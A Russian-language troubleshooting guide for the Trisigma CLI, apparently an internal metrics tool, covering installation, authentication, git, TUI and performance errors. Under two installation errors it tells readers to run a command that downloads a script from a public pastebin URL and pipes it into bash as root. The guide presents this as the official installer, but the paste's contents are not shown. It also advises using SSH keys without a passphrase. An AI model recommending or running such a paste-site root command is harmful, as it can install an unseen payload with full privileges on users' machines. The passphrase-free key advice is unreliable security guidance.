Перейти к содержанию

Решение проблем#

Типичные проблемы при работе с Trisigma CLI и способы их решения.

Проблемы при установке#

Ошибка: Конфликт версий библиотек#

Симптом:

ERROR: Cannot install trisigma-cli because these package versions have conflicting dependencies.

Причина: Конфликт с библиотеками из Python-окружения конфигуратора или других проектов.

Решение: Переустанови CLI через автоматический скрипт:

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Установочный скрипт автоматически изолирует зависимости CLI от других Python-пакетов.

Ошибка: Нет доступа к PyPI#

Симптом:

ERROR: Could not find a version that satisfies the requirement trisigma-cli

Причина: Нет сетевого доступа к внутреннему PyPI.

Решение:

  1. Проверь доступ к интернету

  2. Проверь доступ к домену: 

    curl -I https://pypi.org/simple

  3. Если домен недоступен — проверь настройки сети или обратись в IT-поддержку

Ошибка: Ошибка прав доступа#

Симптом:

ERROR: Could not install packages due to an OSError: [Errno 13] Permission denied

Причина: Недостаточно прав для установки в системную директорию.

Решение: Используй автоматический установочный скрипт, который автоматически устанавливает в пользовательскую директорию:

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Ошибка: Команда trisigma не найдена#

Симптом:

bash: trisigma: command not found

Причина: Директория с Python-скриптами не в PATH.

Решение:

Перезагрузи shell для обновления PATH:

source ~/.zshrc  # для zsh
source ~/.bashrc  # для bash

Автоматический скрипт настраивает PATH при установке.

Проблемы при настройке#

Ошибка: CLI не настроен#

Симптом:

Ошибка: API не настроено. Выполните 'trisigma init' для настройки.

Решение: Запусти настройку CLI:

trisigma init

Пройди все шаги настройки: выбор репозитория, авторизация в Trisigma.

Ошибка: Токен невалиден или просрочен#

Симптом:

Ошибка: Ошибка авторизации
💡 Выполните 'trisigma login' для повторной авторизации

Решение: Обнови токен:

trisigma login

CLI откроет браузер для повторной авторизации.

Ошибка: Репозиторий не найден#

Симптом:

Ошибка: Директория не является валидным репозиторием метрик

Причины и решения:

1. Неверный путь к репозиторию#

Проверь текущую конфигурацию:

trisigma config --show

Если путь неверен, переинициализируй:

trisigma init

2. Репозиторий не склонирован#

Склонируй репозиторий:

git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ab-metrics
cd ab-metrics
trisigma init

3. Неполная структура репозитория#

Проверь что в репозитории есть все необходимые директории:

ab-metrics/
├── sources/
│   ├── sources.yaml
│   └── sql/
├── dimensions/
│   ├── dimensions.yaml
│   └── sql/
├── metrics/
├── enrichments/
├── m42/
├── ab/
└── ...

Если чего-то не хватает — выполни git pull для обновления.

Ошибка: Браузер не открывается при авторизации#

Симптом: При запуске trisigma init или trisigma login браузер не открывается автоматически.

Решение:

  1. Скопируй URL из терминала: 

    🌐 Откроется браузер: https://<your-company>-conf.trisigma.io/oauth/authorize?...

  2. Открой URL вручную в браузере

  3. Авторизуйся

  4. CLI автоматически получит токен

Ошибка: Ошибка подключения к API#

Симптом:

Ошибка: Не удалось подключиться к API

Причины и решения:

  1. Нет сетевого доступа: 

    curl -s -o /dev/null -w "%{http_code}" https://<your-company>-conf.trisigma.io/_info | grep -q "200" && echo -e "\n\n\nAPI доступен и готов к работе" || echo -e "\n\n\nAPI недоступен"

  2. Проверь VPN-подключение к сети Авито

  3. API временно недоступен — попробуй позже или обратись в поддержку

Проблемы при валидации#

Ошибка: Ошибки валидации#

Симптом:

✗ Валидация не прошла. Найдены ошибки.

Решение:

  1. Внимательно прочитай список ошибок — указаны файлы и строки с проблемами

  2. Используй AI-объяснение: 

    trisigma sl validate --ai-explain

  3. Исправь ошибки согласно рекомендациям

  4. Повторная валидация: 

    trisigma sl validate

Ошибка: LLM не настроен (при использовании --ai-explain)#

Симптом:

⚠️  LLM не настроен. AI-объяснения недоступны.

Причина: LLM провайдер не настроен в конфигурации.

Решение:

  1. Интерактивный режим: 

    trisigma
# Выбери "Settings" → настрой LLM Provider URL и Token

  2. Командный режим: 

    trisigma init
# При настройке укажи LLM Provider URL и Token

  3. Если не хочешь использовать AI — просто не указывай --ai-explain

Проблемы при компиляции SQL#

Ошибка: Источник не найден#

Симптом:

Ошибка: Источник 'events' не найден в репозитории

Решение:

  1. Проверь список доступных источников: 

    trisigma sl list-sources

  2. Убедись что название написано правильно (регистр важен!)

  3. Если источник действительно отсутствует — проверь git pull для обновления

Ошибка: Метрика не найдена#

Симптом:

Ошибка: Метрика 'revenue' не найдена в репозитории

Решение:

  1. Проверь список доступных метрик: 

    trisigma sl list-metrics

  2. Убедись что название написано правильно

  3. Проверь что файл метрики существует в metrics/

Ошибка: Ошибка генерации SQL#

Симптом:

Ошибка: Не удалось сгенерировать SQL

Причина: Ошибки в структуре репозитория или в API.

Решение:

  1. Проверь валидацию: 

    trisigma sl validate

  2. Исправь ошибки валидации

  3. Повтори компиляцию

Проблемы с Git#

Ошибка: Git не доступен#

Симптом:

Ошибка: Git не доступен или репозиторий не инициализирован

Решение:

  1. Проверь что Git установлен: 
    git --version

Если нет — установи Git: - macOS: brew install git - Linux: sudo apt-get install git

  1. Проверь что ты в Git-репозитории: 
    cd ~/projects/ab-metrics
git status

Если это не Git-репозиторий, инициализируй или склонируй заново.

Ошибка: Нет доступа к удаленному репозиторию#

Симптом:

Permission denied (publickey)

Причина: SSH-ключ не добавлен в GitHub или неправильный.

Решение:

  1. Проверь SSH-доступ: 
    ssh -T git@github.com

Должно вывести: 

Hi username! You've successfully authenticated, but GitHub does not provide shell access.

  1. Если ничего не вывелось — настрой SSH-ключи (см. Настройка Git и SSH-ключей)

Ошибка: SSH-ключ запрашивает passphrase#

Симптом:

При выполнении git операций CLI запрашивает passphrase или зависает:

Enter passphrase for key '/Users/username/.ssh/id_ed25519':

Причина: SSH-ключ был создан с passphrase, что не поддерживается Trisigma CLI.

Решение:

Создай новый SSH-ключ без passphrase:

# Создай новый ключ без passphrase (оставь поле passphrase пустым)
ssh-keygen -t ed25519 -C "your.email@example.com" -f ~/.ssh/id_ed25519_no_pass

# Добавь новый ключ в ssh-agent
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/id_ed25519_no_pass

# Скопируй публичный ключ
cat ~/.ssh/id_ed25519_no_pass.pub

# Добавь новый публичный ключ в GitHub
# https://github.com/settings/keys

Или удали passphrase с существующего ключа:

ssh-keygen -p -f ~/.ssh/id_ed25519
# При запросе нового passphrase просто нажми Enter (оставь пустым)

Ошибка: Незакоммиченные изменения#

Симптом:

Ошибка: Есть незакоммиченные изменения. Сохраните или отмените их.

Причина: В репозитории есть несохраненные изменения.

Решение:

Вариант 1: Сохрани изменения: 

trisigma sl save -m "Описание изменений"

Вариант 2: Отмени изменения: 

git stash  # временно сохранить
# или
git reset --hard  # полностью отменить (осторожно!)

Ошибка: Ветка уже существует#

Симптом:

Ошибка: Ветка 'feature/AB-1234-...' уже существует

Решение:

  1. Переключись на существующую ветку: 

    git checkout feature/AB-1234-...

  2. Или удали старую ветку: 

    git branch -D feature/AB-1234-...
trisigma sl task AB-1234 "Новое описание"

Проблемы с интерактивным режимом (TUI)#

Проблема: TUI отображается некорректно#

Симптом: Интерфейс выглядит сломанным, символы отображаются неправильно.

Причина: Терминал не поддерживает Unicode или цвета.

Решение:

  1. Используй современный терминал:
  2. macOS: iTerm2

  3. Linux: GNOME Terminal, Konsole

  4. Проверь кодировку: 

    echo $LANG

Должно быть что-то вроде en_US.UTF-8 или ru_RU.UTF-8

  1. Установи кодировку (если нужно): 
    export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8

Проблема: TUI не реагирует на клавиши#

Симптом: Нажатия клавиш не обрабатываются.

Решение:

  1. Нажми Ctrl+C для выхода

  2. Перезапусти CLI: 

    trisigma

  3. Если проблема повторяется — используй командный режим: 

    trisigma sl validate

Проблема: Мониторинг файлов не работает#

Симптом: TUI не показывает уведомления об изменении файлов.

Причина: Мониторинг файлов может не поддерживаться на некоторых файловых системах.

Решение:

  1. Проверь что файловая система поддерживает file watching (ext4, APFS, NTFS — поддерживают)

  2. Перезапусти TUI

  3. Используй командный режим с --watch: 

    trisigma sl compile -s events --watch

Проблемы с производительностью#

Проблема: Медленная валидация#

Симптом: Валидация выполняется очень долго.

Причина: Большой репозиторий или медленное API-соединение.

Решение:

  1. Проверь сетевое соединение к API: 

    time curl -I https://<your-company>-conf.trisigma.io/_info

  2. Если API медленно отвечает — попробуй позже

  3. Используй кеш (CLI автоматически кеширует результаты)

Проблема: Медленная компиляция SQL#

Симптом: Компиляция SQL выполняется очень долго.

Причина: Большое количество файлов или сложный SQL.

Решение:

  1. Используй параметры для ограничения объема: 

    trisigma sl compile -s events --columns user_id,event_type

  2. Не используй --watch для больших репозиториев

Логи и отладка#

Включение подробных логов#

Если нужно больше информации для отладки:

# Установи уровень логирования
export TRISIGMA_LOG_LEVEL=DEBUG

# Запусти команду
trisigma sl validate

Уровни логирования: - ERROR — только ошибки (по умолчанию) - WARNING — предупреждения и ошибки - INFO — информационные сообщения - DEBUG — подробная отладочная информация

Сохранение логов в файл#

trisigma sl validate > output.log 2>&1

Теперь можно отправить output.log в поддержку.

Контакты поддержки#

Если проблема не решается — обратись в поддержку:

  • Trisigma Support Channel — общие вопросы по Trisigma
  • Trisigma Team Channel — техническая поддержка

При обращении укажи:

  1. Версию CLI (trisigma --version)
  2. Команду которая вызвала ошибку
  3. Полный текст ошибки
  4. Логи (если доступны)

🏠 Вернуться к главной странице